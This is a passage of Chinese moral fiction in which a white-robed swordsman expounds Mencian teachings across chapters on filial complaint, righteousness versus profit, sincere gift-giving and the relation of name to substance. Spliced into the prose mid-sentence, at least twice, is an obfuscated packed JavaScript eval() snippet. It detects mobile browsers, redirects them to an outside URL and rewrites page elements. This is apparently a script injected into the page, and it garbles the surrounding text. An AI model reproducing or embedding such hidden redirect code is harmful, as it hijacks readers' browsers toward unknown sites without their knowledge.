“非也。”白衣人摇头，“舜怨，然怨中存慕。《孟子》引孔子曰：‘舜其至孝矣，五十而慕。’慕者，思慕也。舜五十岁，犹思父爱，是怨中之慕。《小弁》太子，亦如是——怨父逐己，仍思父慈。此怨是孝，非不孝。” 高子汗出。白衣人又道：“今有一事，请高叟断：有子，父酗酒，日殴其母。子劝，父怒逐之。子怨父，可乎？” “这…父过当谏。” “谏而不听，怨而不离，是《小弁》也。若子漠然，是视父如越人，可乎？” 高子颓然：“老夫…老夫固矣。” “非高叟固，是论诗不察情。”白衣人温言，“诗三百，一言蔽之，曰思无邪。《小弁》之怨，思父之正也。今我三人，可共解此诗。” 遂于高子书斋，展卷共读。白衣人逐句解之： “‘弁彼鸴斯，归飞提提’——鸟尚知归，人何以堪？是怨中之慕。 ‘民莫不穀，我独于罹’——人皆有福，我独遭难。是怨中之悲。 ‘维桑与梓，必恭敬止’——见父植之桑梓，犹生恭敬。是怨中之孝。” 高子听至“靡瞻匪父，靡依匪母”，老泪纵横：“老夫…老夫误矣！昔我父责我严，我怨之，后父殁，方知严是爱。此诗…此诗是我心也！” 公孙忧亦泣。白衣人叹：“高叟今解戚怨矣。” 三、 弁风之衡 三人论诗至深夜。公孙忧问：“先生，《凯风》《小弁》，皆孝子诗，然一怨一不怨，何以衡？” 白衣人取案上杯、盏：“此杯大，可容一升；此盏小，容一台。今父过如杯，子以盏量之，是苛；父过如盏，子以杯量之，是纵。《小弁》父过大，如杯，故怨如杯；《凯风》母过小，如盏，故不怨。此怨与不怨，皆在量过。” 高子恍然：“是谓‘亲之过大而不怨，是愈疏也；亲之过小而怨，是不可矶也’。” “然。”白衣人续道，“愈疏，是视亲如越人，不孝；不可矶（激怒），是锱铢必较，亦不孝。今人常见二病——” 他竖二指：“一病，亲有大过而漠然。如父赌败家，子不言，是纵亲成恶，此不孝之甚。 二病，亲有小过而苛责。如母忘添衣，子怒斥，是伤亲心，亦不孝。 《凯风》七子，母欲改嫁，是小过，子以劳慰之，是孝。 《小弁》太子，父逐己，是大过，子以怨谏之，亦是孝。 二者殊途，同归仁心。” 公孙忧问：“然则何以知过大过小？” “问心。”白衣人指胸，“戚与疏，在己心。若亲过伤你如兄射，是过大，当怨而谏；若亲过如蚊叮，是过小，当谅而慰。但得亲亲之心，自有分寸。” 高子拊掌：“善！此谓‘诗无达诂，情有通义’。” 白衣人取笔墨，就诗页边白，书“弁风衡”： “亲之过大，怨是孝； 亲之过小，慰是孝。 戚则涕谏，疏则笑忘。 但存亲亲，莫失仁窍。” 高子捧读，涕泣下拜：“先生今日，解我数十年诗障。” 四、 戚怨之化 自此，高子墨诗风大变。昔论诗苛严，今多温厚。有弟子作《慈乌吟》，怨父远游，同门斥“不孝”，高子止之，引《小弁》解：“此子戚怨，是思父也。但导以慰谏，莫责以疏。” 又作《弁风新解》，刊行于世。金陵诗风，渐重人情。 公孙忧从高子学诗，然常问：“诗可济世否？”高子不能答。白衣人闻之，引二人至市井。 见一少年跪衙前，泣诉父赌，卖家产。衙役驱之：“子告父，不孝！”少年泣：“不告，父将死！” 白衣人问高子：“此子怨父，是《小弁》否？” “是…然法不允子告父。” “法不允，情允否？”白衣人正色，“昔舜父杀人，舜负父逃。法是法，情是情。《小弁》之怨，是情之正。今此子怨父赌，是过大之怨，当如《小弁》，怨而谏，谏而救。” 遂助少年，不告官，而劝父。父初怒，白衣人示以《弁风新解》，父读“亲之过大而不怨，是愈疏也”，大恸，戒赌。父子抱泣。 高子叹：“诗之用，在化人心。” 又见老妇斥子：“不肖！粥淡即怨！”子跪泣。白衣人问公孙忧：“此怨是《凯风》否？” “是，过小而怨。” “然则当如何？” 公孙忧近前，温言慰妇：“母劳煮粥，子当感恩。然子非怨粥淡，是忧母忘盐，恐母体衰忘事。”妇感泣，子亦惭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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《小弁》怨父是亲爱， 《凯风》慰母亦孝衷。 高叟当年固诗解， 公孙此后仁心通。 但得人间识戚疏， 何愁诗教不淳风？” 吟罢，倚碑望月。亭畔老梅，新花初绽，幽香暗渡。 似在说： 怨啊，不怨啊。 都在亲亲二字。 本章诫世 一、 戚疏之辨 - 越人射我谈笑，兄射垂涕，是疏戚之别。《小弁》之怨，是兄射之涕 - 破解法：见人怨亲，莫轻斥“不孝”，当察是戚是疏 - 示例：高叟以疏论戚，固于字面；白衣人以情解诗，方得真义 二、 怨慰之衡 - 亲过大而不怨是愈疏，亲过小而怨是不可矶，皆不孝 - 惕世：多少人对亲大过漠然（如父赌、母溺），对亲小过苛责（如忘事、唠叨）？ - 反思：对亲之怨，是戚怨，还是疏怨？ 三、 诗在人情 - 诗以道情，情以亲亲。但存仁心，弁风可通 - 深层隐喻：文艺批评当重人情，莫固于教条 - 终极指向：一切伦理，皆在“亲亲”二字 弁风偈： 开成五年金陵秋，高叟论诗成锢囚。 弁风之怨辩戚疏，白衣释情醒叟眸。 亲亲方是诗家髓，怨慰皆从仁心流。 至今碑亭梅月夜，犹闻吟咏说刚柔。 后世叹： 大梁金陵停云社，高叟斥弁成话柄。 白衣详辩戚疏义，公孙继开仁厚境。 诗在人情不在字，怨因亲亲非悖性。 寄语世间论诗客，莫将涕泪作笑听。 正是： 《小弁》之怨是亲亲，高叟固哉诗论偏。 越人射我谈笑道，兄弓射我涕涟涟。 《凯风》慰母过小者，《小弁》谏父过大愆。 但得心中存戚义，何分怨慰两诗篇？ 49. 利义谳 楔子石丘遇 时天下兵戈，秦楚相攻，战于石丘。尸骸蔽野，鸦噪荒原。 有策士宋牼，素以辩才闻，自诩“弭兵先生”，自宋赴楚，欲说楚王罢兵。行至石丘，见残阳如血，道旁有白衣人倚枯树，斗笠面纱，木剑负背，正以布帛拭剑上血污。 宋牼揖问：“先生何故拭剑？” 白衣人抬头，目如寒星：“剑染尘，当拭。世染血，当如何？” 宋牼傲然：“吾正为此行。将说楚王罢兵，若楚王不从，再说秦王。必弭此战。” 白衣人收剑：“愿闻先生说辞。” “当言战之不利。”宋牼抚须，“秦楚相攻，损耗钱粮，伤亡士卒，于两国皆弊。若罢兵盟好，互市通商，利莫大焉。” 白衣人默然片刻，忽道：“先生志则大矣，号则不可。” 宋牼不悦：“何以不可？” 一、 利说之弊 时值暮色四合，荒丘风起。白衣人引宋牼至一残垣，指地上散落箭矢：“先生看，此矢可为利乎？” 宋牼不解。白衣人拾一矢折之：“矢以木为干，以铁为镞，以羽为翎。制矢需工匠，工匠需衣食，衣食需耕织。此皆利也。今两国以利相争，故有此矢。” 又指远处营火：“秦楚之王，若悦于利，先生以利说之，或可罢兵。然三军将士闻之：‘罢兵因利。’从此心中只存利字。为臣者怀利事君，为子者怀利事父，为弟者怀利事兄。君臣父子兄弟，终去仁义，以利相接——” 他掷断矢于地，铿然有声：“如此，国虽暂安，实已亡矣！何也？人怀利心，则君疑臣，父猜子，兄防弟。一旦利尽，刀兵又起，且甚于前。此谓饮鸩止渴。” 宋牼汗出，强辩：“然弭兵救民，总是善举…” “善举需善名。”白衣人正色，“先生以利说王，是教天下：‘万事利为先’。今日罢兵为利，明日或可兴兵为利。譬如教子：‘汝孝我，我予汝金。’子孝为金，非为亲。他日无金，子还孝否？” 宋牼语塞。白衣人遥指战场哀鸿：“先生听，此哭声中有利否？丧子之父，丧夫之妇，所痛者利耶？情耶？今先生但言利，是轻此情，重彼货。纵罢兵，人心已坏。” 忽有数骑驰至，乃秦军游哨。见二人，抽刀喝问：“细作耶？” 宋牼急道：“我乃说客，欲见楚王…” 白衣人却踏前一步，朗声：“行路之人，非细作。尔等可曾思：此战为谁而打？为君之利耶？为己之命耶？” 骑兵一怔。白衣人续道：“若为君利，君利非汝利；若为己命，今持刀向前，命在呼吸。何不归家事父母，养妻儿？” 一骑泣曰：“吾父战死于此…”掷刀而去。余骑面面相觑，竟皆散去。 宋牼骇然：“先生一言退兵？” “非我言退兵，是其本心有仁，被利蔽耳。”白衣人叹，“今请先生易说辞——以仁义说王，可愿？” 二、 义说之试 宋牼踌躇：“恐王不听仁义…” “不听仁义，是王无道；不说仁义，是说者无勇。”白衣人道，“我随先生往，先试于民间，如何？” 时近村落，十室九空。有老妪携孙，于废墟中掘野菜。白衣人问：“阿婆，若秦楚罢兵，汝愿否？” 妪泣：“罢兵好…然我儿死矣，罢兵何益？” 宋牼脱口：“罢兵可复民生，汝孙可安…” 白衣人截道：“阿婆，若罢兵因仁义，汝子虽死，犹有义名；若罢兵因利，汝子是为利死，可值？” 妪怔然，忽抱孙恸哭：“我儿…我儿本不愿战，是被征…他说‘忠君’…” “忠是义，非利。”白衣人温言，“今若以义说王罢兵，汝子之死，是警世之钟，可醒后人。若以利说，汝子之死，不过账目一笔。汝愿何者？” 妪跪拜：“愿…愿有义名！” 又见一溃兵，断臂呻吟。宋牼欲赠金，白衣人止，问：“壮士，若知此战不义，可还战否？” 兵泣：“早知不义…然上官言‘斩首赏金，退后斩首’…” “此是以利驱人。”白衣人叹，“今我为你裹伤，非因利，因你是人，当救。” 兵泣谢。白衣人谓宋牼：“见否？民本慕义，为利所迫。今先生若倡利，是火上浇油；若倡义，是雪中送炭。” 宋牼拜服：“愿从先生学义说。” “非学我，是学本心。”白衣人道，“你我分途，你说楚，我说秦。皆以仁义为辞，看孰能成。” 宋牼疑：“先生可进秦营？” 白衣人指木剑：“此即通符。” 三、 义入秦营 是夜，秦军大营。秦王正议战，忽报营外有人歌曰： “战为利兮伤仁义， 罢兵为义兮利自随。 君王但怀仁义心， 何需干戈定雄雌？” 王怒，命擒入。白衣人飘然进帐，不拜不揖。秦王叱：“汝歌讽我？” “非讽，是谏。”白衣人朗声，“大王以为，此战可利秦否？” “自然！得楚地，增民赋，岂非利？” “得地需守，守需兵，兵需粮，粮需民。民苦战久矣，今得楚地，如得病躯，反耗元气。此利耶？弊耶？” 秦王语塞。白衣人续道：“若大王以仁义罢兵，则天下闻：‘秦能行仁义。’楚民感德，他日或自愿归附。今以力取，楚民怀怨，十年生聚，必复报仇。是暂得地，久遗患。仁义罢兵，方是久利。” 帐下将军吼：“书生妄言！岂可罢兵？” 白衣人视之：“将军有几子？” “三千。” “若三千皆战死，将军心痛否？” 将军色变。白衣人环视众将：“诸君皆有父母妻儿。今驱士卒死战，是为国？为君？为己？若为国，国在民，民死国虚；若为君，君在德，德失君危；若为己，己在仁，仁丧人非。何不谋万全之策——罢兵养民，施仁布义，使敌国不战自服？” 秦王动容：“然…然我已发兵，无功而返，岂不为天下笑？” “笑一时，敬百世。”白衣人正色，“昔周文王伐崇，三战不下，退而修德，崇人自降。今大王若罢兵，天下称仁，岂不美哉？若必战，纵胜，史书亦记‘暴秦’。仁义之利，与刀兵之利，孰重？” 秦王默然良久，忽道：“然楚若来袭…” “楚王亦闻仁义。”白衣人道，“若大王遣使，倡弭兵盟好，楚拒之，是不义，天下共伐。楚若应，是两国之福。此谓以义制利，不战而胜。” 秦王终从，命退兵三十里，遣使赴楚。 四、 义感楚营 时宋牼入楚营，见楚王，本欲说利，忽忆白衣人言，改道：“臣请以仁义说大王。” 楚王嗤：“仁义可退秦兵否？” “仁义在人心，人心向背定胜负。”宋牼昂首，“今秦楚相攻，犹如兄弟阋墙。若大王倡仁义罢兵，则天下归心。秦若拒，是不义，其兵必溃。且士卒皆人子，大王忍其死乎？” 楚王冷笑：“我不忍，秦忍乎？” “秦或不忍。”宋牼道，“然大王先行仁义，是夺其刃。天下剑，莫利于仁；天下甲，莫坚于义。大王披仁义甲，持仁义剑，秦兵虽众，能伤否？” 正言间，秦使至，呈罢兵书。楚王愕然，宋牼暗喜，知白衣人已成。 楚王阅书，沉吟：“秦王真愿罢兵？” 使答：“吾王闻仁义之言，幡然悔悟。愿与大王会于石丘，献血为盟，永结兄弟。” 楚王感泣：“寡人不如秦王矣！”遂允。 翌日，石丘会盟。秦楚二王相见，皆赧然。白衣人现于盟坛，朗声道：“二王今日盟，非为利盟，为义盟。愿自此以仁义相接，不以刀兵相向。” 秦王问：“先生，若他国犯我…” “仁义非懦。”白衣人道，“仁义之师，诛不仁，讨不义。但守本心，何惧外侮？” 楚王问：“士卒已征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088201|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，罢兵后何以安置？” “以仁义安置。”白衣人答，“归者赠田，伤者抚恤，死者旌表。使民知：为国不为利，虽死犹荣；为君不为财，虽贫犹贵。如此，民愿效死，国自然强。” 二王拜服。盟成，各罢兵。 宋牼私问白衣人：“先生真神人也。然利义之辨，可能永续否？” “在人心。”白衣人望四野新坟，“今日种义，他日或收利果。然但行义，莫问果。但教一人怀仁义，便胜万千言利者。” 言罢，踏歌而去： “秦楚构兵石丘秋， 宋牼欲说利为筹。 岂知仁义方根本， 怀利终成亡国由。 君臣父子皆怀义， 何需干戈战未休？ 寄语世间说客辈， 莫将利字挂口头。” 歌声渐杳，二王默立。忽有飞雁成行，掠空南去，嘹唳如歌。 尾声义盟碑 秦楚罢兵后，民于石丘立“义盟碑”，刻会盟事。碑阴镌孟子“何必曰利”全章，又附“弭兵三训”： “一训：说客当以义说，莫以利诱。 二训：为政当以义导，莫以利驱。 三训：为民当以义立，莫以利求。 怀利相接，国必亡； 怀义相接，国必昌。 石丘血鉴，永志莫忘。” 碑成，常有策士过此，下马读碑。有欲说列国者，读之汗颜，改辞易辙。 宋牼自此号“义说先生”，专以仁义说诸侯。虽未必皆成，然心无愧。尝谓弟子：“吾昔如贩贾，以利货君；今如医者，以义疗国。虽医不可治必死之症，然医者之心，不可不仁。” 后三十年，秦楚果未大战。民得休养，石丘渐成村落。有童子牧羊，问父：“此地何以名胜？” 父指碑：“昔有白衣客，以一言罢两国兵。此谓‘义胜于利’。” 童问：“若他日我为将，当如何？” 父曰：“读此碑，但问仁义，莫问功勋。” 是夜，白衣人影时现碑前，抚文轻叹： “利乎？义乎？” “一念存亡乎。” 秋草离离，年年荣枯。 似在说： 怀利者，秋草。 怀义者，春松。 本章诫世 一、 利义之择 - 以利说人，虽暂成，实坏人心；以义说人，虽难行，可固根本 - 破解法：遇事抉择，莫问“有何利”，当问“合义否” - 示例：宋牼初欲以利弭兵，是饮鸩止渴；后从白衣人以义说，方得久安 二、 怀利之危 - 君臣父子兄弟皆怀利，则国必亡；皆怀义，则国必王 - 惕世：多少“双赢”“互利”，实是纵容利心？多少“成功学”，实是败德经？ - 反思：所行所言，是怀利，是怀义？ 三、 仁义之利 - 仁义自有大利，然求仁者不当言利 - 深层隐喻：文明根基在道义，非在功利 - 终极指向：但行仁义，莫问利害；但问是非，莫计得失 利义偈： 秦楚构兵石丘秋，宋牼欲以利说休。 白衣指陈怀利弊，一言能令二王羞。 罢兵非为暂安计，弭战当从仁义求。 至今残碑风雨里，犹闻当年说客忧。 后世叹： 战乱年间石丘逢，策士宋牼说弭兵。 欲以利害动王听，白衣论义醒愚蒙。 怀利终使家国丧，行仁方得社稷宁。 寄语世间游说客，千秋大义在丹诚。 正是： 秦楚相攻战未休，宋牼石丘遇剑俦。 欲以利说弭兵祸，终从义论罢戈矛。 怀利必使君臣乖，行仁自令天下柔。 至今义盟碑上月，犹照行人辨薰莸。 50. 币享谳 楔子不报之疑 时值列国兵争，邹邑有儒生孟柯，避乱寓居。是年冬，两处礼至：一为任国季任所赠，时季任为任国守臣；一为齐国储子所馈，储子乃齐相。孟柯皆受之，皆不报。 门人屋庐子窃喜，谓同窗：“吾得隙矣！夫子见季子不见储子，必因储子为相，位高而怠乎？” 遂问孟柯：“夫子往任国见季子，至齐却不见储子，可是因储子为相，仪节不周？” 孟柯摇首：“非也。《书经》有云：‘享献贵在礼仪，若仪不及物，便是不享，因其心不在此。’储子之馈，不成享礼。” 屋庐子恍然，悦而退。有客问故，屋庐子道：“季子守任，不能亲来邹；储子相齐，可至平陆而未至。此仪不及物也。” 客不解，屋庐子亦难尽述。是夜，有白衣人影现于庭中，斗笠面纱，木剑负背，手执两封束帖，轻笑： “季任守任不之邹， 储子相齐可至陆。 享礼岂在币帛厚， 但看诚心足不足。” 一、 束帖之辨 屋庐子惊起揖问，白衣人示以束帖：“此二帖，一为季子笔，一为储子书，子可辨高下？” 屋庐子观之，季子帖曰：“任国边守季任，遥拜孟夫子。道阻兵凶，不克亲谒，谨奉薄币，惟祈康吉。他日若得履邹，当执弟子礼。”字迹朴拙，有刀兵气。 储子帖曰：“齐相储子致孟先生：闻先生贤，赠币交欢。他日过齐，可来相见。”字迹工丽，然寥寥数语。 屋庐子疑：“季子帖恭，储子帖傲。然馈币相当，夫子何以别之？” 白衣人问：“子见猎户献鹿与贵人赐帛，孰诚？” “猎户献鹿，是敬贤；贵人赐帛，是施恩。” “然也。”白衣人颔首，“季子守任，职责在身，不能离境，是‘不得之邹’。然束帖情深，如面谒。储子为相，齐都至平陆，不过数日路程，是‘得之平陆而未至’。此所谓‘仪不及物’——物（币帛）至而仪（诚心）不至，便是不成享礼。” 屋庐子恍然：“是故夫子往任见季子，是报其诚；不见储子，是责其慢。” “非责，是明礼。”白衣人正色，“今乱世，多有人以币帛交结，自谓礼贤。然礼在诚，不在币。夫子不受虚礼，正是立范。” 言未已，有客至，乃纵横家公孙衍，闻孟柯受币不报，特来讥讽。闻二人言，嗤道：“孟轲迂哉！季任、储子皆馈币，何分彼此？得馈是实，见与不见是虚。何不虚与委蛇，广结善缘？” 白衣人转视公孙衍：“先生以为，猎户赠鹿与贵人赐帛，可同日语乎？” “皆为肉耳！” “差矣。”白衣人取桌上茶盏，“此盏，我敬君饮，是礼；我掷地，令君自拾，亦是予盏。可同乎？” 公孙衍语塞。白衣人续道：“季子是‘敬赠’，储子是‘赐交’。一字之别，千里之遥。夫子明察秋毫，正是圣贤处。若如先生言，来者不拒，是自堕为货，待价而沽矣。” 公孙衍面红而去。屋庐子拜服：“听先生一席，胜读十年礼经。” 二、 三享之验 越明日，有三人携礼来谒孟柯。一为鲁商，赠金百镒；一为邹邑乡老，赠腊肉一束；一为邻童，赠野菊数枝。 孟柯见鲁商，辞金不受；见乡老，受肉而谢；见邻童，受菊插瓶，抚童首嘉许。 屋庐子又不解。白衣人问：“子观三人，孰诚？” 屋庐子思忖：“鲁商赠最厚，然目有求色；乡老赠虽薄，情意殷切；邻童纯真，菊是亲采。” “是矣。”白衣人道，“此即‘享多仪，仪不及物曰不享’。鲁商赠厚仪薄，是‘不役志于享’；乡老赠薄仪厚，是诚享；邻童无仪有真，是至享。夫子分别待之，正是教礼。” 时孟柯召屋庐子，问：“汝明三赠之别乎？” 屋庐子谨答：“鲁商以利交，乡老以情交，邻童以真交。” 孟柯莞尔：“然。礼者，心之文也。文胜质则史，质胜文则野。鲁商文胜，邻童质胜，乡老文质彬彬。我受乡老之肉，是报其文质；受邻童之菊，是护其天真；辞鲁商之金，是戒其文胜。” 屋庐子大悟。白衣人在侧，拊掌道：“夫子此判，可为天下式。” 未几，有季任使者至，再奉束帖，言：“守臣季任，蒙夫子不弃，亲临赐教。今任地有贤士三人，慕夫子德，愿附函荐之。”附三名刺，皆布衣之士。 又有储子使者至，亦奉束帖：“相国储子，闻夫子过齐不见，甚憾。特再赠玉璧一双，望夫子笑纳。” 孟柯展季任帖，见字字恳切，荐士皆详其品行，叹：“季子诚人也。”欣然回书。 观储子帖，但见礼单，无一字问学，默然置之。使者催问，孟柯道：“请回禀相国：孟轲非贾人，不受无名之赐。” 屋庐子问：“季子亦赠，何别？” 孟柯曰：“季子赠而荐贤，是重道；储子赠而炫富，是轻士。享礼在心，岂在币乎？” 白衣人闻之，对屋庐子道：“此即‘不得之邹’与‘得之平陆’之别。季子不能亲至，然以荐贤代躬，是仪胜物；储子可至而不至，以币代诚，是物胜仪。夫子明察，正在此微芒间。” 三、 享礼之教 事传邹邑，有富绅效储子，具厚礼往赠名士，皆遭拒。绅怒，诘孟柯：“先生拒储子，是教人轻礼乎？” 时孟柯游于郊，白衣人代答：“非拒礼，是重礼。礼者，自卑而尊人。今君赠礼，是尊人乎？是炫富乎？” 绅不服。白衣人指田间老农：“此老，昨日赠夫子瓜一枚，夫子受而谢。君赠千金，夫子却之。何也？” “瓜贱金贵！” “谬矣。”白衣人摇头，“老农赠瓜，是‘享’；君赠金，是‘市’。享者，以诚相敬；市者，以利相易。夫子不受市，是守礼之洁。” 绅语塞。白衣人又引至学舍，见童子互赠竹马、泥人。问：“此是礼否？” “童戏耳，何礼之有？” “此是真礼。”白衣人正色，“无求无饰，纯然相悦，是礼之本。君赠金，可有此纯心？” 绅惭而退。孟柯闻之，谓门人：“白衣客深得礼意。汝等当记：享礼不在物厚，在诚至；交际不在利交，在义合。季子以诚，故我见之；储子以利，故我不见。此非傲，是谨。” 屋庐子问：“然则世途交际，何以别诚利？” 孟柯曰：“观其志。志在道者，礼薄亦诚；志在利者，礼厚亦伪。季子守任而荐贤，志在道；储子为相而炫富，志在利。岂难辨耶？” 是夜，白衣人辞行。屋庐子问：“先生何以教我辈？” 白衣人指天上月：“月照万物，不分贵贱。然浊水映月则昏，清水映月则明。礼如月，心如水。心诚则礼明，心利则礼浊。但修诚心，自能辨浊清。” 言罢，踏月而去，吟哦声袅袅： “季任守任币交深， 储子相齐礼数沉。 享多仪重物难及， 一片诚心胜万金。 不见非为傲卿相， 相见正是重儒襟。 寄语世间交结者， 莫将币帛换知音。” 四、 享碑之立 后数岁，孟柯道彰，从者日众。屋庐子为纪“币享之辨”，于邹邑立“享礼碑”，刻孟子受币事。碑阴镌“享礼三鉴”： “一鉴：物不及仪，是谓不享。 赠厚而心薄，不如勿赠。 二鉴：仪不及物，是谓虚享。 礼繁而意浅，不如简诚。 三鉴：心物相称，是谓真享。 片诚抵万金，一语重九鼎。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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千古交游唯一字， 诚。” 刻毕，掷剑长啸，踏月而去。馆外古柏，飒飒如涛。 似在说： 诚啊，伪啊。 碑上分明。 本章诫世 一、 享礼在诚 - 享多仪，仪不及物曰不享，惟不役志于享 - 破解法：受人礼，当察其诚；赠人礼，当尽己诚 - 示例：季任守任不能至，而诚在帖中；储子可至而不至，是仪不及物 二、 得至之别 - 季子不得之邹，储子得之平陆，此诚伪之关键 - 惕世：多少“礼到人不到”是轻慢？多少“人未到礼到”是无奈？ - 反思：交际往来，是“不得”而诚，还是“得而不为”？ 三、 心物之衡 - 礼在心物之间，心重物轻是真享，物重心轻是虚礼 - 深层隐喻：一切人情往来，皆映心镜 - 终极指向：诚为礼魂，无诚不礼 享礼偈： 兵乱年间邹邑中，季任储子币交同。 一诚一伪分明辨，孟轲不见与见公。 享礼岂在玉帛厚，交情只向寸心通。 至今碑文风雨蚀，犹说诚心古今崇。 后世叹： 孟轲居邹避兵凶，季任储子币交重。 受而不报见有别，屋庐问故得启蒙。 享多仪不及物是虚，诚至物轻乃为恭。 寄语世间赠受者，莫将礼数等常庸。 正是： 季任守任币交深，储子相齐礼数沉。 享多仪重物难及，诚至心真义可钦。 不见非为傲卿相，相见正是重儒襟。 千古交游贵在诚，莫将币帛论浅深。 51. 名实谳 楔子三卿疑 战国兵燹，齐稷下学宫有辩士淳于髡，以机锋名世。时孟子去齐，淳于髡闻而哂曰：“孟轲居三卿之位，名实未加于上下而去，仁者固如此乎？” 是日，淳于髡宴客，席间高谈：“今之儒者，口称仁政，然仕则无功，去则无名，何益于国？” 忽有白衣人拊掌而入，斗笠面纱，木剑负背，朗声应和：“先生高见！然不知名实之辨，是观鱼于岸，还是入水得鳞？” 满座皆惊。淳于髡眯眼：“足下何人？” “过路客，闻高论而来。”白衣人自取酒饮，“先生言孟子名实未加而去，敢问名实如何加？” 淳于髡傲然：“名者，治世之名；实者，富国之实。孟子在齐，未使齐强，未使民富，无功而去，岂非浪得虚名？” 白衣人笑：“依先生见，百里奚在虞无名，在秦得名，是百里奚变耶？抑或虞秦异耶？” 一语如锥，席间寂然。 一、 三子道 淳于髡色变：“足下为孟子作说客耶？” “非也，为‘仁’字作注。”白衣人正色，“孟子曰：伯夷不事不肖，伊尹五就汤桀，柳下惠不恶污君。三子不同道，其趋一也。先生可知‘一’者何？” “仁耳，何需问？” “仁为何态？”白衣人环视众人，“伯夷之仁是清，伊尹之仁是任，柳下惠之仁是和。清者未必能和，任者未必能清，和者未必能任。然皆为仁。今先生以‘有功于国’为仁之唯一态，是以伯夷为不仁？以伊尹为多事？以柳下惠为苟且？” 座中有儒生击节：“妙哉！仁如水，盛方则方，盛圆则圆，岂有定态？” 淳于髡冷笑：“然孟子非三子，居三卿而无功，是仁否？” 白衣人反问：“昔鲁缪公用公仪子、子柳、子思，鲁削滋甚。是贤者无益于国否？” “此正是我疑！” “然虞不用百里奚而亡，秦用百里奚而霸。”白衣人目光如剑，“同一百里奚，在虞则虞亡，在秦则秦霸，是百里奚变耶？是君用之变耶？今孟子在齐，齐王用之乎？听之乎？行其道乎？” 淳于髡语塞。白衣人续道：“昔王豹居淇，河西善讴；绵驹处高唐，齐右善歌。是王豹、绵驹使河西齐右皆善歌耶？是其歌感人，民自化之。孟子在齐，虽未强齐，然稷下学子受其化，齐民闻其道，此非功耶？必若商鞅变法，杀人盈野，方为功耶？” 满座哗然。淳于髡怒：“然则无功而去，终是名实不副！” 白衣人忽问：“先生可闻孔子去鲁事？” 二、 燔肉行 淳于髡嗤：“孔子为肉而去，吾所不取。” “谬矣！”白衣人拍案，“孔子为鲁司寇，不用，从而祭，燔肉不至，乃行。不知者以为为肉，其知者以为为无礼。实乃孔子欲以微罪行，不欲苟去。今孟子去齐，亦如是——不欲显君之过，故以‘名实未加’自承其责。此君子之仁，众人固不识。” 座中一老者颤巍巍起：“老朽昔在鲁，曾闻孔子去鲁时，弟子问：‘燔肉不至，何遽行？’孔子叹：‘鲁无道也，然吾不欲彰君恶，故托微罪而行。’孟子去齐，恐同此心。” 白衣人揖道：“长者明鉴。今淳于先生以‘名实’责孟子，是未知君子用心。譬如有医，治君疾，君不服其药，医去。庸人讥：‘医无能！’智者叹：‘君不纳！’先生是庸人耶？智者耶？” 淳于髡面红耳赤，强辩：“然有诸内必形诸外，贤者必有功。孟子无功，是非贤。” “华周、杞梁之妻善哭其夫而变国俗，是哭有功耶？”白衣人直视淳于髡，“哭者，内悲外发，感化民俗。孟子行道，内仁外发，感化学子，此非形诸外耶？必若变法强兵，方为形耶？若如此，华周杞梁之妻，当持戈杀敌，方为有功？” 满座大笑。淳于髡汗出如浆。 白衣人斟酒，敬淳于髡：“先生辩才无双，然辩在口，仁在心。孟子心仁，故可清可任可和；先生辩仁，然以名实绳仁，是以管窥天。髡尝言‘无贤者也，有则髡必识之’，今孟子在侧而不识，是孟子非贤耶？抑或髡目眇耶？” 淳于髡掷杯长叹：“吾败矣！”踉跄欲出。 白衣人拦道：“先生留步。辩非为胜败，为明理。今既明孟子之心，可愿同往观其行？” 三、 微罪观 翌日，孟子将离齐，弟子拥泣。淳于髡与白衣人隐于道旁观。 见齐王使者赍金帛来，谓孟子：“王悔矣，愿留夫子，授以上卿。” 孟子揖：“轲无状，名实未加于上下，不敢受。” 使者再三请，孟子固辞。有弟子悄问：“夫子真以无功去耶？” 孟子叹：“非无功，是不可为。齐王好战，欲以霸道强齐，非吾道也。强留何益？” 淳于髡闻之，对白衣人低语：“是矣，道不同不相为谋。” 白衣人问：“此可是‘微罪行’？” “然。托言名实未加，是保齐王颜面，亦全己志节。” 忽有齐民数百，捧浆果跪道左：“闻夫子去，吾等不舍。夫子教子弟孝悌，乡里少讼，此非功耶？” 孟子下车，一一扶起：“此民之善，非轲之功。”竟不受馈，登车而去。 淳于髡怔然。白衣人道：“见否？民感其化，是仁之形；却馈辞金，是清之节。孟子兼伯夷之清、伊尹之任、柳下惠之和。今去齐，清也；昔就齐，任也；不斥齐王，和也。三子之道，萃于一身。先生犹以名实绳之乎？” 淳于髡大惭，疾趋追车，长揖道：“髡浅陋，不识君子。愿闻教。” 孟子停车：“先生何前倨而后恭？” “前以名实观仁，如以斗量海；今以仁观名实，方知海阔。”淳于髡汗颜，“然髡犹疑：仁者多途，然终需有益于世。若皆如夫子托微罪而去，天下谁匡？” 孟子正色：“仁者如水，因地制流。可清可浊？不可，清者自清。可方可圆？可也，随器而形。我在齐，如清水入污渠，虽洁其身，难涤其浊。故去而待时，非弃世也。” 淳于髡拜服。白衣人在侧，拊掌而歌： “伯夷清兮伊尹任， 柳下惠和不同音。 孟子兼之三子道， 去就无非一片心。 名实未加何足论， 燔肉不至见精深。 寄语世间观人者， 莫将尺蠖测鲸吟。” 歌罢，飘然而去。淳于髡追喊：“高士留名！” 风中传来：“名者实之宾，但识仁心，何需问名？” 四、 仁途碑 孟子去后，淳于髡闭门思过，三月不出。出而作《仁途辨》，首言：“昔我以名实论仁，如瞽扪象。今知仁者多途，清、任、和皆可达。孟子去齐，是清；就齐，是任；不毁王，是和。三子之道备矣。” 又论孔子去鲁：“燔肉不至，微罪行也。君子不欲显君恶，故托小故。今人动辄彰君过以显己直，去圣人远矣。” 